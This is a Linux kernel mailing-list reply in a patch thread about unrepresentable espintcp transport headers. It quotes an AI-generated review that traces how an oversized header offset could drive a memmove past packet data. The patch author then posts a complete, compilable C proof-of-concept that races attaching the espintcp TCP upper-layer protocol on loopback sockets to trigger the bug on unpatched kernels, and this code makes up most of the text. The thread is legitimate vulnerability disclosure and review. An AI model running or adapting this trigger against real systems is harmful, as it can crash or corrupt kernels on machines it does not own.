Re: [PATCH 12/12] net: xfrm: reject unrepresentable espintcp transport headers

[Wyatt Feng <wf.kernel.dev@gmail.com>]

On Mon, Sep 14, 2026 at 12:22:29PM -0800, Steffen Klassert wrote:
> Ccing Author of the patch.
> 
> On Tue, Sep 08, 2026 at 03:49:02PM -0700, Jakub Kicinski wrote:
> > This is an AI-generated review of your patch. The human sending this
> > email has considered the AI review valid, or at least plausible.
> > ---
> > net: xfrm: reject unrepresentable espintcp transport headers
> > 
> > handle_esp() in net/xfrm/espintcp.c switches from the plain transport
> > header reset to skb_reset_transport_header_careful(), and drops the skb
> > with LINUX_MIB_XFRMINERROR when the offset does not fit in
> > skb->transport_header.
> > 
> > > diff --git a/net/xfrm/espintcp.c b/net/xfrm/espintcp.c
> > > index 674aedc5af5a2..3e72b9f067b9b 100644
> > > --- a/net/xfrm/espintcp.c
> > > +++ b/net/xfrm/espintcp.c
> > > @@ -30,7 +30,11 @@ static void handle_esp(struct sk_buff *skb, struct sock *sk)
> > >  {
> > >  	struct tcp_skb_cb *tcp_cb = (struct tcp_skb_cb *)skb->cb;
> > >  
> > > -	skb_reset_transport_header(skb);
> > > +	if (!skb_reset_transport_header_careful(skb)) {
> > > +		XFRM_INC_STATS(sock_net(sk), LINUX_MIB_XFRMINERROR);
> > > +		kfree_skb(skb);
> > > +		return;
> > > +	}
> > 
> > [Severity: High]
> > Is this gate placed early enough to cover the pulls that the ESP input
> > path performs on the same skb afterwards?
> > 
> > skb_reset_transport_header_careful() in include/linux/skbuff.h only
> > rejects offsets that are already unrepresentable:
> > 
> > 	long offset = skb->data - skb->head;
> > 
> > 	if (unlikely(offset != (typeof(skb->transport_header))offset))
> > 		return false;
> > 
> > 	if (unlikely(offset == (typeof(skb->transport_header))~0U))
> > 		return false;
> > 
> > so any offset up to 65534 is accepted here with no margin left.
> > 
> > handle_esp() then calls xfrm4_rcv_encap()/xfrm6_rcv_encap(), and the
> > chain xfrm_input() -> esp_input() -> esp_input_done2() pulls the ESP
> > header and IV off the very same skb and resets the transport header with
> > the unhardened helpers, in net/ipv4/esp4.c:
> > 
> > 	skb_pull_rcsum(skb, hlen);
> > 	if (x->props.mode == XFRM_MODE_TUNNEL ||
> > 	    x->props.mode == XFRM_MODE_IPTFS)
> > 		skb_reset_transport_header(skb);
> > 	else
> > 		skb_set_transport_header(skb, -ihl);
> > 
> > with hlen = sizeof(struct ip_esp_hdr) + crypto_aead_ivsize(aead).
> > esp6_input_done2() in net/ipv6/esp6.c has the same shape for the
> > AF_INET6 branch of handle_esp().
> > 
> > For an skb whose head offset lands in the window [65536 - hlen, 65534],
> > the new check passes but the offset after skb_pull_rcsum() no longer
> > fits, so doesn't the truncation the changelog wants to eliminate simply
> > move downstream, now on a partially decrypted packet instead of a clean
> > drop?
> > 
> > Can such near-limit offsets be reached in practice?  espintcp_rcv() does:
> > 
> > 	/* remove header, leave non-ESP marker/SPI */
> > 	if (!pskb_pull(skb, rxm->offset + 2)) {
> > 
> > which makes skb->data - skb->head equal to the initial payload offset
> > plus rxm->offset + 2, and rxm->offset is bounded only by the size of one
> > coalesced TCP receive-queue skb.  If offsets at or above 65535 are
> > reachable (which is the premise of this patch), offsets a few bytes below
> > 65536 look equally reachable, and the peer selects them at byte
> > granularity through the 16-bit espintcp length prefix.
> > 
> > For ESP transport mode there also seems to be a second-order effect.  With
> > k = (offset + hlen) - 65536 and k >= ihl, esp_input_done2() leaves
> > transport_header at (k - ihl), i.e. wrapped, and
> > xfrm4_transport_input()/xfrm6_transport_input() in net/xfrm/xfrm_input.c
> > consume it directly:
> > 
> > 	int ihl = skb->data - skb_transport_header(skb);
> > 
> > 	if (skb->transport_header != skb->network_header) {
> > 		memmove(skb_transport_header(skb),
> > 			skb_network_header(skb), ihl);
> > 		...
> > 	skb_reset_transport_header(skb);
> > 
> > Can ihl here become roughly 64 KiB and turn that memmove() into a copy
> > that runs past the packet data into the trailing skb_shared_info?  With
> > AES-CBC (ivsize 16, hlen 24) k can be 20..23, which is >= a 20-byte ihl.
> > 
> > Would it make sense either to give the espintcp check a margin covering
> > the largest downstream ESP header plus IV pull (or avoid the large linear
> > pull in espintcp_rcv() altogether), or to convert the esp4/esp6 and
> > xfrm_input transport-mode reset sites to the careful helpers as well?
> > 
> > Conversely, if offsets in that window cannot occur, what makes the check
> > added here reachable at all?
> 
> The patch did not add a regression, but the question if that
> can be triggered at all is valid.
> 
> Wyatt can you explain how you tiggered this bug?

Yes, I have a PoC here as follows. This PoC can trigger the bug on
kernels prior to commit 96f01b53c2d. To run the PoC, compile it first:

  gcc -pthread -o poc poc.c

and then run the poc binary.

Let me know if you have further questions!

------BEGIN PoC------

#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdatomic.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>

#ifndef TCP_ULP
#define TCP_ULP 31
#endif

#define DEFAULT_WORKERS 8
#define DEFAULT_ATTEMPTS 20000
#define FILL_TARGET (8U << 20)

struct pair {
	int client_fd;
	int server_fd;
	atomic_int start;
	atomic_int stop;
};

struct worker_arg {
	int id;
	int attempts;
};

static int cpu_count(void)
{
	long n = sysconf(_SC_NPROCESSORS_ONLN);

	return n > 0 ? (int)n : 1;
}

static void pin_current(int cpu)
{
	cpu_set_t set;

	CPU_ZERO(&set);
	CPU_SET(cpu, &set);
	pthread_setaffinity_np(pthread_self(), sizeof(set), &set);
}

static int set_nonblock(int fd)
{
	int flags = fcntl(fd, F_GETFL, 0);

	if (flags < 0)
		return -1;
	return fcntl(fd, F_SETFL, flags | O_NONBLOCK);
}

static void tune_socket(int fd)
{
	int one = 1;
	int buf = 1 << 20;

	setsockopt(fd, IPPROTO_TCP, TCP_NODELAY, &one, sizeof(one));
	setsockopt(fd, SOL_SOCKET, SO_SNDBUF, &buf, sizeof(buf));
	setsockopt(fd, SOL_SOCKET, SO_RCVBUF, &buf, sizeof(buf));
}

static void close_pair(struct pair *p)
{
	if (p->client_fd >= 0)
		close(p->client_fd);
	if (p->server_fd >= 0)
		close(p->server_fd);
}

static int open_listener(uint16_t *port)
{
	struct sockaddr_in addr = {
		.sin_family = AF_INET,
		.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
	};
	socklen_t len = sizeof(addr);
	int one = 1;
	int fd = socket(AF_INET, SOCK_STREAM, 0);

	if (fd < 0)
		return -1;
	if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0)
		goto fail;
	if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
		goto fail;
	if (listen(fd, 128) < 0)
		goto fail;
	if (getsockname(fd, (struct sockaddr *)&addr, &len) < 0)
		goto fail;

	*port = ntohs(addr.sin_port);
	return fd;

fail:
	close(fd);
	return -1;
}

static int make_pair(int listen_fd, uint16_t port, struct pair *p)
{
	struct sockaddr_in addr = {
		.sin_family = AF_INET,
		.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
		.sin_port = htons(port),
	};
	socklen_t len = sizeof(addr);

	memset(p, 0, sizeof(*p));
	p->client_fd = -1;
	p->server_fd = -1;
	atomic_init(&p->start, 0);
	atomic_init(&p->stop, 0);

	p->client_fd = socket(AF_INET, SOCK_STREAM, 0);
	if (p->client_fd < 0)
		return -1;

	tune_socket(p->client_fd);
	if (connect(p->client_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
		goto fail;

	p->server_fd = accept(listen_fd, (struct sockaddr *)&addr, &len);
	if (p->server_fd < 0)
		goto fail;

	tune_socket(p->server_fd);
	if (set_nonblock(p->client_fd) < 0 || set_nonblock(p->server_fd) < 0)
		goto fail;

	return 0;

fail:
	close_pair(p);
	return -1;
}

static void prefill_client(int fd)
{
	char buf[4096];
	size_t total = 0;

	memset(buf, 'A', sizeof(buf));
	while (total < FILL_TARGET) {
		ssize_t n = send(fd, buf, sizeof(buf), MSG_DONTWAIT | MSG_NOSIGNAL);

		if (n > 0) {
			total += (size_t)n;
			continue;
		}
		if (n < 0 && errno == EINTR)
			continue;
		if (n < 0 && (errno == EAGAIN || errno == EWOULDBLOCK))
			return;
		return;
	}
}

static void *server_reader(void *arg)
{
	struct pair *p = arg;
	char buf[1 << 15];

	if (cpu_count() > 1)
		pin_current(1);

	while (!atomic_load_explicit(&p->start, memory_order_acquire))
		;

	while (!atomic_load_explicit(&p->stop, memory_order_relaxed)) {
		ssize_t n = recv(p->server_fd, buf, sizeof(buf), MSG_DONTWAIT);

		if (n > 0)
			continue;
		if (n == 0)
			break;
		if (n < 0 && errno == EINTR)
			continue;
		if (n < 0 && (errno == EAGAIN || errno == EWOULDBLOCK)) {
			sched_yield();
			continue;
		}
		break;
	}

	return NULL;
}

static void *server_writer(void *arg)
{
	struct pair *p = arg;
	char buf[64];

	memset(buf, 'B', sizeof(buf));
	if (cpu_count() > 1)
		pin_current(1);

	while (!atomic_load_explicit(&p->start, memory_order_acquire))
		;

	while (!atomic_load_explicit(&p->stop, memory_order_relaxed)) {
		ssize_t n = send(p->server_fd, buf, sizeof(buf),
				 MSG_DONTWAIT | MSG_NOSIGNAL);

		if (n >= 0)
			continue;
		if (errno == EINTR)
			continue;
		if (errno == EAGAIN || errno == EWOULDBLOCK) {
			sched_yield();
			continue;
		}
		break;
	}

	return NULL;
}

static void *worker(void *arg)
{
	struct worker_arg *w = arg;
	const char ulp[] = "espintcp";
	uint16_t port;
	int listen_fd;

	if (cpu_count() > 0)
		pin_current(w->id % cpu_count());

	listen_fd = open_listener(&port);
	if (listen_fd < 0)
		return NULL;

	for (int i = 0; i < w->attempts; i++) {
		struct pair p;
		pthread_t reader;
		pthread_t writer;

		if (make_pair(listen_fd, port, &p) < 0)
			continue;

		prefill_client(p.client_fd);
		if (pthread_create(&reader, NULL, server_reader, &p) != 0) {
			close_pair(&p);
			continue;
		}
		if (pthread_create(&writer, NULL, server_writer, &p) != 0) {
			atomic_store(&p.stop, 1);
			pthread_join(reader, NULL);
			close_pair(&p);
			continue;
		}

		atomic_store_explicit(&p.start, 1, memory_order_release);
		setsockopt(p.client_fd, IPPROTO_TCP, TCP_ULP, ulp, sizeof(ulp) - 1);
		atomic_store(&p.stop, 1);

		pthread_join(writer, NULL);
		pthread_join(reader, NULL);
		shutdown(p.client_fd, SHUT_RDWR);
		shutdown(p.server_fd, SHUT_RDWR);
		close_pair(&p);
	}

	close(listen_fd);
	return NULL;
}

int main(int argc, char **argv)
{
	int workers = argc > 1 ? atoi(argv[1]) : DEFAULT_WORKERS;
	int attempts = argc > 2 ? atoi(argv[2]) : DEFAULT_ATTEMPTS;
	pthread_t *threads;
	struct worker_arg *args;

	if (workers < 1)
		workers = 1;
	if (attempts < 1)
		attempts = 1;

	signal(SIGPIPE, SIG_IGN);

	threads = calloc((size_t)workers, sizeof(*threads));
	args = calloc((size_t)workers, sizeof(*args));
	if (!threads || !args)
		return 1;

	fprintf(stderr, "espintcp race: workers=%d attempts=%d\n",
		workers, attempts);

	for (int i = 0; i < workers; i++) {
		args[i].id = i;
		args[i].attempts = attempts;
		if (pthread_create(&threads[i], NULL, worker, &args[i]) != 0)
			return 1;
	}

	for (int i = 0; i < workers; i++)
		pthread_join(threads[i], NULL);

	return 0;
}


------END PoC--------